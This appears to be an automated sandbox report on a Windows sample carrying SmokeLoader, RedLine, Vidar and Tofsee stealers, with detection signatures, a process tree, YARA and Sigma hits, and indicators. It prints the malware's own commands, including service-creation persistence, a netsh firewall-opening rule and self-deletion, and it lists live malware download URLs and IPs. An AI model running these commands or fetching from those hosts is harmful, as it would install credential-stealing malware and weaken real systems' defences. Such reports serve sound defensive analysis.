Play interactive tour

Edit tour

Windows Analysis Report 7NAzyCWRyM.exe

Overview

General Information

Sample Name:	7NAzyCWRyM.exe
Analysis ID:	548971
MD5:	23dfe6757086dde5e8463811731f60c6
SHA1:	ae8b0843895df4e84caaaa4b97943f0254fde566
SHA256:	6c02cd3294f998736222c255ddd163b9d5e72dfbf3492bfdd43519a46ed609de
Tags:	exeRaccoonStealer
Infos:
Most interesting Screenshot:

Detection

RedLine SmokeLoader Tofsee Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Sigma detected: Suspect Svchost Activity

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Yara detected Tofsee

Sigma detected: Copying Sensitive Files with Credential Data

Maps a DLL or memory area into another process

Found evasive API chain (may stop execution after checking mutex)

Uses netsh to modify the Windows network and firewall settings

Tries to evade analysis by execution special instruction which cause usermode exception

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Sigma detected: Suspicious Svchost Process

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Drops executables to the windows directory (C:\Windows) and starts them

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

.NET source code references suspicious native API functions

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

Machine Learning detection for dropped file

Modifies the windows firewall

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may stop execution after checking computer name)

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Sigma detected: Suspicious Del in CommandLine

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Binary contains a suspicious time stamp

PE file contains more sections than normal

Sigma detected: Netsh Port or Application Allowed

Found large amount of non-executed APIs

Connects to a URL shortener service

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Queries information about the installed CPU (vendor, model number etc)

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Uses SMTP (mail sending)

Social media urls found in memory data

Found evaded block containing many API calls

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

7NAzyCWRyM.exe (PID: 6592 cmdline: "C:\Users\user\Desktop\7NAzyCWRyM.exe" MD5: 23DFE6757086DDE5E8463811731F60C6)

7NAzyCWRyM.exe (PID: 6516 cmdline: "C:\Users\user\Desktop\7NAzyCWRyM.exe" MD5: 23DFE6757086DDE5E8463811731F60C6)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

8633.exe (PID: 7156 cmdline: C:\Users\user\AppData\Local\Temp\8633.exe MD5: 1F935BFFF0F8128972BC69625E5B2A6C)

WerFault.exe (PID: 6464 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

BC2D.exe (PID: 2740 cmdline: C:\Users\user\AppData\Local\Temp\BC2D.exe MD5: 23DFE6757086DDE5E8463811731F60C6)

BC2D.exe (PID: 4100 cmdline: C:\Users\user\AppData\Local\Temp\BC2D.exe MD5: 23DFE6757086DDE5E8463811731F60C6)

DDEE.exe (PID: 4284 cmdline: C:\Users\user\AppData\Local\Temp\DDEE.exe MD5: 6146E19CEFC8795E7C5743176213B2C2)

cmd.exe (PID: 1500 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\DDEE.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 1836 cmdline: timeout /t 5 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

11C5.exe (PID: 740 cmdline: C:\Users\user\AppData\Local\Temp\11C5.exe MD5: 16F6F63636134A3CE21B0455FAA49719)

cmd.exe (PID: 6696 cmdline: "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\olbcncjm\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6820 cmdline: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\riwtgmp.exe" C:\Windows\SysWOW64\olbcncjm\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 6784 cmdline: C:\Windows\System32\sc.exe" create olbcncjm binPath= "C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe /d\"C:\Users\user\AppData\Local\Temp\11C5.exe\"" type= own start= auto DisplayName= "wifi support MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 7128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 2220 cmdline: C:\Windows\System32\sc.exe" description olbcncjm "wifi internet conection MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 6356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 5668 cmdline: "C:\Windows\System32\sc.exe" start olbcncjm MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 1472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 5812 cmdline: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 6388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

2203.exe (PID: 3492 cmdline: C:\Users\user\AppData\Local\Temp\2203.exe MD5: 9D7EB9BE3B7F3A023430123BA099B0B0)

2203.exe (PID: 1260 cmdline: C:\Users\user\AppData\Local\Temp\2203.exe MD5: 9D7EB9BE3B7F3A023430123BA099B0B0)

9A8F.exe (PID: 5856 cmdline: C:\Users\user\AppData\Local\Temp\9A8F.exe MD5: 92F549D91443E839D4EA0A7E3A853C7C)

BC8F.exe (PID: 4648 cmdline: C:\Users\user\AppData\Local\Temp\BC8F.exe MD5: C085684DB882063C21F18D251679B0CC)

svchost.exe (PID: 4596 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3628 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 2456 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

rffhjft (PID: 6604 cmdline: C:\Users\user\AppData\Roaming\rffhjft MD5: 23DFE6757086DDE5E8463811731F60C6)

rffhjft (PID: 3976 cmdline: C:\Users\user\AppData\Roaming\rffhjft MD5: 23DFE6757086DDE5E8463811731F60C6)

svchost.exe (PID: 6924 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6348 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 6780 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 7156 -ip 7156 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

riwtgmp.exe (PID: 1844 cmdline: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe /d"C:\Users\user\AppData\Local\Temp\11C5.exe" MD5: 24B9AD8E98386E381BC876F01D002F2E)

svchost.exe (PID: 1808 cmdline: svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000026.00000002.852274958.00000000004A0000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000002B.00000002.939278060.000000000107A000.00000004.00000020.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000017.00000003.825669935.0000000000560000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000029.00000000.858504517.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002B.00000002.941021960.000000000108D000.00000004.00000020.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002B.00000002.941021960.000000000108D000.00000004.00000020.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000B.00000002.775218110.00000000004A0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000026.00000002.852203023.0000000000470000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000005.00000000.704358355.0000000004F21000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000015.00000002.837755684.0000000000672000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.837755684.0000000000672000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.717525714.0000000000460000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000029.00000002.925975800.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.842688686.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000029.00000000.861349217.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000029.00000000.858973232.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000002.866100742.0000000003981000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000014.00000002.810053308.00000000004F0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000029.00000000.857996787.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002A.00000002.926221014.0000000000990000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000001.00000002.717561910.00000000005A1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000026.00000003.850412720.0000000000490000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000026.00000002.852028217.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000000B.00000002.775267751.00000000005E1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000017.00000002.842975552.0000000000540000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000014.00000002.810181998.00000000006A1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Process Memory Space: riwtgmp.exe PID: 1844	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: 2203.exe PID: 1260	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author
24.2.2203.exe.3a9fb70.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.0.BC2D.exe.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
41.0.2203.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
38.2.riwtgmp.exe.4a0000.2.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
10.2.rffhjft.4715a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
41.0.2203.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
11.0.rffhjft.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
20.0.BC2D.exe.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
11.0.rffhjft.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
1.1.7NAzyCWRyM.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
20.1.BC2D.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
11.0.rffhjft.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
20.0.BC2D.exe.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
23.2.11C5.exe.540e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
41.0.2203.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
23.2.11C5.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
23.2.11C5.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
23.3.11C5.exe.560000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
38.2.riwtgmp.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
38.2.riwtgmp.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
11.1.rffhjft.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.7NAzyCWRyM.exe.5415a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
19.2.BC2D.exe.5415a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
38.3.riwtgmp.exe.490000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
38.2.riwtgmp.exe.470e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
24.2.2203.exe.3a9fb70.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.7NAzyCWRyM.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
20.2.BC2D.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
41.0.2203.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
11.2.rffhjft.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
41.2.2203.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
38.2.riwtgmp.exe.4a0000.2.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
41.0.2203.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 28 entries

Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Show sources

Source: Process started

Author: David Burkett: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe /d"C:\Users\user\AppData\Local\Temp\11C5.exe", ParentImage: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe, ParentProcessId: 1844, ProcessCommandLine: svchost.exe, ProcessId: 1808

Sigma detected: Copying Sensitive Files with Credential Data

Show sources

Source: Process started

Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\riwtgmp.exe" C:\Windows\SysWOW64\olbcncjm\, CommandLine: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\riwtgmp.exe" C:\Windows\SysWOW64\olbcncjm\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\11C5.exe, ParentImage: C:\Users\user\AppData\Local\Temp\11C5.exe, ParentProcessId: 740, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\riwtgmp.exe" C:\Windows\SysWOW64\olbcncjm\, ProcessId: 6820

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe /d"C:\Users\user\AppData\Local\Temp\11C5.exe", ParentImage: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe, ParentProcessId: 1844, ProcessCommandLine: svchost.exe, ProcessId: 1808

Sigma detected: Suspicious Del in CommandLine

Show sources

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\DDEE.exe" & exit, CommandLine: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\DDEE.exe" & exit, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\DDEE.exe, ParentImage: C:\Users\user\AppData\Local\Temp\DDEE.exe, ParentProcessId: 4284, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\DDEE.exe" & exit, ProcessId: 1500

Sigma detected: Netsh Port or Application Allowed

Show sources

Source: Process started

Author: Markus Neis, Sander Wiebing: Data: Command: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, CommandLine: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, CommandLine|base64offset|contains: ijY, Image: C:\Windows\SysWOW64\netsh.exe, NewProcessName: C:\Windows\SysWOW64\netsh.exe, OriginalFileName: C:\Windows\SysWOW64\netsh.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\11C5.exe, ParentImage: C:\Users\user\AppData\Local\Temp\11C5.exe, ParentProcessId: 740, ProcessCommandLine: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, ProcessId: 5812

Sigma detected: New Service Creation

Show sources

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\System32\sc.exe" create olbcncjm binPath= "C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe /d\"C:\Users\user\AppData\Local\Temp\11C5.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine: C:\Windows\System32\sc.exe" create olbcncjm binPath= "C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe /d\"C:\Users\user\AppData\Local\Temp\11C5.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\11C5.exe, ParentImage: C:\Users\user\AppData\Local\Temp\11C5.exe, ParentProcessId: 740, ProcessCommandLine: C:\Windows\System32\sc.exe" create olbcncjm binPath= "C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe /d\"C:\Users\user\AppData\Local\Temp\11C5.exe\"" type= own start= auto DisplayName= "wifi support, ProcessId: 6784

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://185.7.214.171:8080/6.php	URL Reputation: Label: malware
Source: http://privacytools-foryou-777.com/downloads/toolspab3.exe	Avira URL Cloud: Label: malware
Source: http://91.243.44.130/stlr/maps.exe	Avira URL Cloud: Label: malware
Source: http://file-file-host4.com/sqlite3.dlljRZI	Avira URL Cloud: Label: malware
Source: http://185.7.214.239/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/8584_1641133152_551.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/game.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/2184_1641247228_8717.exe	Avira URL Cloud: Label: malware
Source: http://file-file-host4.com/sqlite3.dlljYZ	Avira URL Cloud: Label: malware
Source: http://185.7.214.239/POeNDXYchB.php	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\riwtgmp.exe

Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Multi AV Scanner detection for submitted file

Show sources

Source: 7NAzyCWRyM.exe	Virustotal: Detection: 40%			Perma Link
Source: 7NAzyCWRyM.exe	ReversingLabs: Detection: 48%

Multi AV Scanner detection for domain / URL

Show sources

Source: http://privacytools-foryou-777.com/downloads/toolspab3.exe	Virustotal: Detection: 9%			Perma Link
Source: http://91.243.44.130/stlr/maps.exe	Virustotal: Detection: 10%			Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\11C5.exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Local\Temp\2203.exe	ReversingLabs: Detection: 88%
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Metadefender: Detection: 25%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\8633.exe	ReversingLabs: Detection: 85%
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	ReversingLabs: Detection: 48%
Source: C:\Users\user\AppData\Local\Temp\BC8F.exe	Metadefender: Detection: 22%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\BC8F.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	ReversingLabs: Detection: 37%

Machine Learning detection for sample

Show sources

Source: 7NAzyCWRyM.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\8633.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9A8F.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\rffhjft	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\riwtgmp.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BC8F.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Joe Sandbox ML: detected

Source: 21.3.DDEE.exe.490000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 23.2.11C5.exe.540e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 23.2.11C5.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 38.2.riwtgmp.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 21.2.DDEE.exe.470e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 38.2.riwtgmp.exe.470e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 23.3.11C5.exe.560000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 38.3.riwtgmp.exe.490000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 38.2.riwtgmp.exe.4a0000.2.unpack	Avira: Label: BDS/Backdoor.Gen

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00407510 CryptUnprotectData,LocalAlloc,LocalFree,	21_2_00407510
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00407470 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	21_2_00407470
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00404830 memset,CryptStringToBinaryA,CryptStringToBinaryA,	21_2_00404830
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00407190 CryptUnprotectData,	21_2_00407190
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004077A0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	21_2_004077A0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004776C0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	21_2_004776C0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00474A80 CryptStringToBinaryA,CryptStringToBinaryA,	21_2_00474A80
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00477760 CryptUnprotectData,LocalAlloc,LocalFree,	21_2_00477760
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004773E0 CryptUnprotectData,	21_2_004773E0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004779F0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	21_2_004779F0

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Unpacked PE file: 21.2.DDEE.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Unpacked PE file: 23.2.11C5.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Unpacked PE file: 38.2.riwtgmp.exe.400000.0.unpack

Source: 7NAzyCWRyM.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\8633.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.4:49838 version: TLS 1.2
